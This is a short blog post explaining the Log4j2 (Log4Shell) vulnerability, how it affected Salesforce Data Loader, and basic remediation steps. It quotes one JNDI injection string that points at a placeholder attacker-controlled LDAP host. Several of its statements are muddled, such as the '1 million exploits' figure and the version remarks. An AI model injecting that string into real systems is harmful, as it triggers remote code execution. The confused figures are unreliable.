Log4j2 Vulnerability and how it affected Salesforce

You may have heard the Log4j2 vulnerability has been resolved recently for the Salesforce products. But, why did it become such a hot topic over the last few weeks? 

This issue is actually part of a bigger problem that has affected major systems and has huge security implications.

In this blog post, we want to give you a high-level overview of how this issue came out and what it means to you, and how to prepare and respond to these issues in the future.

First things first. The severity of this issue has impacted almost 1 million exploits. Yes, 1 million!

Now, be aware that Log4j is not a virus, but a very common Java library that has been used in a variety of platforms worldwide. Log4Shell is the name of the exploit which enables arbitrary code execution.

What’s fascinating about it, is that this vulnerability has existed unnoticed since 2013.

According to Ceki Gülcü (no relation to the Log4j2 2.x), the original author of the framework, “the exploit becomes effective when the attacker can inject a string containing a substring in the form "${jndi:ldap://some.attacker-controlled.site/}". Opportunities for injecting such strings appear to be endless.” 

What does this mean? In simple words, third parties can bypass any restrictions and can execute any code on the host machine. 

Data loader, for example, is one of the Salesforce products that was heavily affected. Moreover, because it is an open source, there are many points that attackers can use to learn the codebase and use the exploit as a vector.

Salesforce has quickly responded to the issue and the data loader is updated to protect against the exploit. 

One thing to note is that the Log4j 1.x library does not have this issue, but all versions before the current release of Log4j 2.x still have this vulnerability unless updated to the latest version.

Another important thing to know is that this exploit has existed in a variety of applications and ecosystems and customers had to wait for this issue to be solved to reduce their exposure.

That is why the Multi-Factor Authentication (MFA) is always recommended alongside other methods to protect your system for both host and tenant related. 

Here are a couple of tips to minimize your exposure to the issue in house:

• Update your desktop data loader to the latest version (version 53.0.2 and later) and get a list of users actively using the tool.
• Use Setup Audit Trail to also cross-check the setup changes made by the data loader users.
• Check out the Salesforce help page for the updates related to the issue.
• Read up on Salesforce Security Best Practices.

Stay tuned for more updates, industry news, and best practices on our company blog.

See you in the next post!